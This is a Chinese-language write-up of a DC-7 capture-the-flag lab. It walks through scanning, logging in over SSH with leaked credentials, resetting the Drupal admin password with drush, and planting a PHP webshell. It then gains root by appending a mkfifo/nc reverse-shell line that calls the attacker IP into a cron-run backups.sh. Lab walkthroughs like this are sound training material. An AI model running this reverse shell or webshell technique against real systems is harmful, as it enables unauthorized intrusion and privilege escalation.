DC-7渗透测试复现
目的:
获取最高权限以及flag
过程:
信息打点--SSH- 命令执行反弹shell-计时任务提权
环境:
攻击机:kali(192.168.85.137)
靶机:DC_3(192.168.85.139)
复现:
一.信息收集
nmap -sP 192.168.85.0/24
或者:
arp-scan -l
进一步端口扫描
发现22端口和80端口 进入80端口网页
cms为 Drupal8
二.漏洞挖掘与利用
因为cms为 Drupal8 网上搜集漏洞 发现CVE-2019-6340 Drupal8's REST RCE
尝试无果
根据收集到的信息 要我们跳出这个框架 ,发现了下面这个
百度进入github发现 账号密码
dc7user
MdR3xOgB7#dW
尝试ssh连接成功
在网站配置信息发现数据库账号密码
'username' => 'db7user',
'password' => 'yNv3Po00',
尝试mysql连接无果 好像不是用mysql连接的
然后在/home/dc7user目录下的文件,发现一个backups文件夹和一个mbox文件。
打开发现是个计时任务
Drush可以修改用户账号密码
详细可以访问
https://zhuanlan.zhihu.com/p/60880048
Gpg 加密的
我们尝试修改admin密码
drush upwd admin --password="123456"
登入
然后在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell 但是好像不行,查阅资料发现d8不支持PHP代码
那我们下这个模块就行了
在extend里面Install new module
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
下完之后写入一句话木马 并且设置为PHP code
木马管理工具连
三.提权
进入终端再次进行反弹shell 就是为了方便执行命令
查看root能够怎么提权
好像没啥用,但我们拿到了www-data的权限,接下来可以编辑上面所说的backups.sh,来进行提权了
查看权限 可写
那我们直接写反弹shell提权就行了
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.85.137 3334 >/tmp/f" >> backups.sh
注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信
经验分享 | 常用linux反弹shell合集 - 知乎 (zhihu.com)
拿到flag
修复:
1.关闭22端口ssh远程连接
2.限制过滤命令执行的函数,反正上传webshell
3.必要的话关闭Drupal Shell命令服务 防止攻击者恶意破坏篡改数据库